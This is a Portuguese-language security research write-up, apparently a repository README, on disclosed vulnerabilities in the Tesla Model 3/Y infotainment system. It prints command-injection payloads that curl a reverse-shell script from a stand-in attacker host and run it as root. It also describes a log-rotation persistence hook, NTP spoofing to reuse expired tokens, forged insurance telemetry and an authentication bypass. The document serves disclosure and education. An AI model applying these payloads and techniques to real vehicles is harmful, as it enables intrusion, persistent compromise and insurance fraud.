Pesquisa de Segurança da Tesla

Pesquisa de vulnerabilidades no sistema de infoentretenimento do Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), divulgado de forma responsável à Tesla via Bugcrowd.

Obteve acesso root persistente em um Tesla Model 3 de produção através de uma vulnerabilidade de injeção de comandos na interface de diagnóstico ODIN da Tesla (CVE-2022-42008). A partir daí, descobriu cinco vulnerabilidades adicionais — incluindo um método de persistência que sobrevive a atualizações de firmware (CVE-2022-42005, CVE-2022-42006) e um método para falsificar a telemetria do Safety Score de seguros que reduziu diretamente os prêmios mensais de $130 para $83.

Seis vulnerabilidades em ODIN, hermes e Safety Score. Quatro CVEs. Recompensado via Bugcrowd e inscrito no programa SSH Security Researcher da Tesla.

Resumo das Vulnerabilidades

Arquitetura

O sistema de infoentretenimento do Tesla Model 3/Y (Intel Atom MCU) executa um SO baseado em Linux com várias superfícies de ataque identificadas durante esta pesquisa:

┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

Obtendo Root + Persistência

Relatórios completos: Shell Root via ODIN | Backshell de Log + Acesso DV

A interface de diagnóstico ODIN expõe uma tarefa chamada TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK que aceita um parâmetro MicTest-Input — uma lista de strings passadas diretamente para CID_EXEC para execução como root. Qualquer assinante com o nível de acesso mais baixo do Toolbox (tbx-external) pode acionar essa tarefa conectando-se à porta de diagnóstico do carro e enviando uma solicitação POST. As strings de entrada são executadas literalmente, portanto o ataque consiste em duas requisições: primeiro, baixar um script de reverse shell para o carro via curl:

{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Em seguida, execute-o:

{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Com um shell root estabelecido, o acesso persistente é obtido sequestrando a configuração de rotação de logs do svlogd. O comando de compressão gzip padrão é substituído por um script que abre um backshell sob a conta log cada vez que os logs são rotacionados:

!sh /var/log/wpa_supplicant/gzip.sh -c

O arquivo de configuração é tornado imutável com chattr +i, garantindo que sobreviva a atualizações de firmware. Embora a conta log não possa usar o comando sdv padrão para definir valores de dados (o dbus rejeita), o prototype_server adormecido da Tesla fornece acesso irrestrito via websocket a todos os valores de dados quando ativado através do settings.conf. Um conjunto personalizado de scripts shell (sdv, lv, send.sh) emulam um cliente websocket para interagir com este servidor.

O kit completo de persistência é controlado através da caixa de entrada Access Code do carro (visível ao pressionar longamente o modelo do carro na tela sensível ao toque), que é monitorada por um script listener que despacha comandos — incluindo abertura de backshells, definição de valores de dados e ativação/desativação de modos de serviço.

Descobertas Independentes

Tokens ODIN Expirados + Spoofing NTP (CVE-2022-42007)

O endpoint de geração de tokens ODIN da Tesla aceita tbx-tokens expirados e — criticamente — também retorna o tbx-token do usuário na resposta, permitindo vazamento de tokens através de compartilhamento. Tokens ODIN expirados são normalmente rejeitados pelo veículo, mas ao falsificar a fonte de tempo NTP do carro usando interceptação baseada em ARP (ntpspoof.py), o veículo pode ser enganado para aceitar tokens após sua data de expiração. O gateway detecta a adulteração do NTP (GTW_w149_rtcTimeSetInPast) mas não age sobre este sinal.

Upload para Mothership

Usando os certificados do carro de /var/lib/car_creds/, o serviço hermes_proxy pode ser iniciado em uma máquina local, fornecendo acesso direto ao servidor Mothership da Tesla. O endpoint de backup de perfil (/vehicles/${VIN}/computer_profile) aceita uploads de arquivos arbitrários sem validação — um único comando curl envia qualquer arquivo para a infraestrutura de produção da Tesla. A Tesla marcou esta descoberta como N/A ("funcionando conforme o esperado").

Falsificação de Telemetria de Seguros

O sistema Safety Score da Tesla coleta telemetria de direção do MCU e a envia para a Mothership para cálculos de prêmio de seguro. Com acesso root, uma amostra de telemetria de pontuação perfeita pode ser capturada, seus valores de odômetro codificados em protobuf inflados via edição hexadecimal (usando o esquema de engenharia reversa em telemetry.proto), e as amostras modificadas reenviadas. Duas viagens fabricadas foram aceitas pela Mothership — uma mostrando ~2.700 milhas em 3,5 horas — reduzindo diretamente os prêmios mensais de seguro de $130 para $83. O problema fundamental é que a telemetria se origina do MCU (acessível ao usuário) em vez da unidade APE3 de piloto automático (endurecida). A Tesla não emitiu recompensa por esta descoberta.

Bypass de Autenticação ODIN

Com acesso root, montar por bind um script is-fused falso sobre /usr/bin/is-fused e reiniciar os serviços ODIN faz com que o ODIN acredite que a unidade está no modo fábrica/desenvolvimento. Neste estado, qualquer tarefa ODIN pode ser executada sem tokens de autenticação — incluindo tarefas que poderiam desativar o alarme do carro (PROC_ICE_X_SET-DATA-VALUE), apagar o VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID) ou potencialmente ativar funções críticas de segurança do veículo.

Ferramentas

Aviso Legal

Esta pesquisa foi conduzida como parte de pesquisa de segurança responsável e relatada ao Programa de Recompensas por Bugs da Tesla via Bugcrowd. Todas as vulnerabilidades com CVEs atribuídos foram corrigidas nas versões atuais de firmware. Este repositório é publicado apenas para fins educacionais.

Como resultado desta pesquisa, a equipe recebeu recompensas financeiras via Bugcrowd e foi inscrita no programa SSH Security Researcher da Tesla, recebendo certificados SSH assinados para acesso contínuo à pesquisa.

Referências

• CVE-2022-42008 — Shell Root via ODIN
• CVE-2022-42007 — Tokens ODIN Expirados
• CVE-2022-42006 — Acesso a Valores de Dados via Prototype Server
• CVE-2022-42005 — Shell de Log Persistente
• Tesla Hacking: Parte 1 — Obtendo Root em um Tesla Model 3
• Tesla Hacking: Parte 2 — Falsificando Dados de Telemetria de Seguros da Tesla
• Tesla Security

Pesquisadores

• Matthew C. Pilsbury
• Alex Harbuzenko
• Oleg Kutkov
• Tristan Rice

Pesquisa conduzida em nome da SourceHat Labs Inc.